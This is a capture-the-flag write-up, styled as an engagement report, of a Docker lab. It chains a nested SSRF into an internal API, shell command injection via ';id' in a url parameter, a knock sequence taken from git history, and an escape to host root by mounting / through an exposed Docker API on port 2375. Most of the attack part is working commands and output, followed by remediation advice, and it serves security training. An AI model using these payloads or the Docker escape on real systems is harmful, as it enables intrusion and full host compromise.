SSRF command injection, git secret recovery, and Docker API escape
Intermediate container engagement: nested SSRF into api-dev-backup enabled OS command injection and git history secrets; port knock opened Docker TCP 2375; host filesystem mount via alpine chroot recovered true root.
- Case files
- SSRF command injection, git secret recovery, and Docker API escape
Hidden web artifacts and SSRF into an internal backup API yielded container-level secrets including knock ports. Opening the Docker remote API and mounting the host root completed the escape.
Full TCP scan and directory brute force located security.txt and an API path returning the first engagement artifact.
exif URL SSRF reached api-dev-backup; nested url= accepted shell metacharacters and exposed git commit secrets including knock ports.
Knock opened 2375. An alpine container with -v /:/mnt and chroot reached host root.
Engagement summary
Hidden web artifacts and SSRF into an internal backup API yielded container-level secrets including knock ports. Opening the Docker remote API and mounting the host root completed the escape.
THE GREAT ESCAPE presented a multi-layer Dockerized application. After full-port recon and gobuster, /.well-known/security.txt and a crafted /api/fl46 path returned an early web artifact. robots.txt pointed at /exif-util; the /api/exif?url= parameter accepted SSRF into http://api-dev-backup:8080, and a second nested url= parameter accepted OS command injection. Through that channel we listed /root, read git history, and recovered a commit that disclosed the knock sequence. Knocking opened Docker API port 2375 without TLS; docker -H <IP>:2375 run -v /:/mnt alpine chroot /mnt reached the real host root.
Business impact
SSRF into internal admin APIs plus command injection is container compromise. An unauthenticated Docker TCP socket is host compromise. Disable nested URL fetchers, sanitize shell invocations, never expose Docker 2375 without mTLS and network policy, and keep knock sequences out of git history.
Recon and hidden web artifact
Full TCP scan and directory brute force located security.txt and an API path returning the first engagement artifact.
OPERATOR · RECON
savvy@lab:~$ nmap -sSCV -p- 10.10.88.50
savvy@lab:~$ gobuster dir -f -u http://10.10.88.50 -w /usr/share/wordlists/dirb/big.txt
savvy@lab:~$ curl http://10.10.88.50/.well-known/security.txt
savvy@lab:~$ curl -I http://10.10.88.50//api/fl46
HTTP/1.1 200 OK # web-stage artifact recovered
Nested SSRF and command injection
exif URL SSRF reached api-dev-backup; nested url= accepted shell metacharacters and exposed git commit secrets including knock ports.
OPERATOR · SSRF
savvy@lab:~$ curl http://10.10.88.50/robots.txt
/exif-util
savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;id'
uid=0(root) gid=0(root) # container context
savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;git -C /root log'
savvy@lab:~$ curl 'http://10.10.88.50/api/exif?url=http://api-dev-backup:8080/exif?url=;git -C /root show a3d30a7d0510dc6565ff9316e3fb84434916dee8'
# commit discloses knock sequence 42 1337 10420 6969 63000
Port knock and Docker API host mount
Knock opened 2375. An alpine container with -v /:/mnt and chroot reached host root.
OPERATOR · DOCKER ESCAPE
savvy@lab:~$ knock 10.10.88.50 42 1337 10420 6969 63000
savvy@lab:~$ nmap 10.10.88.50 -p 2375
2375/tcp open docker
savvy@lab:~$ docker -H 10.10.88.50:2375 run -v /:/mnt --rm -it alpine:3.9 chroot /mnt sh
root@lab:/# id
uid=0(root) gid=0(root) groups=0(root)
root@lab:/# cat /root/flag.txt
host root artifact recovered
Remediation
Block SSRF to internal hostnames; never pass URL parameters into shell. Require authenticated Docker API with TLS; do not open 2375 via knock alone. Scrub secrets from git history in images.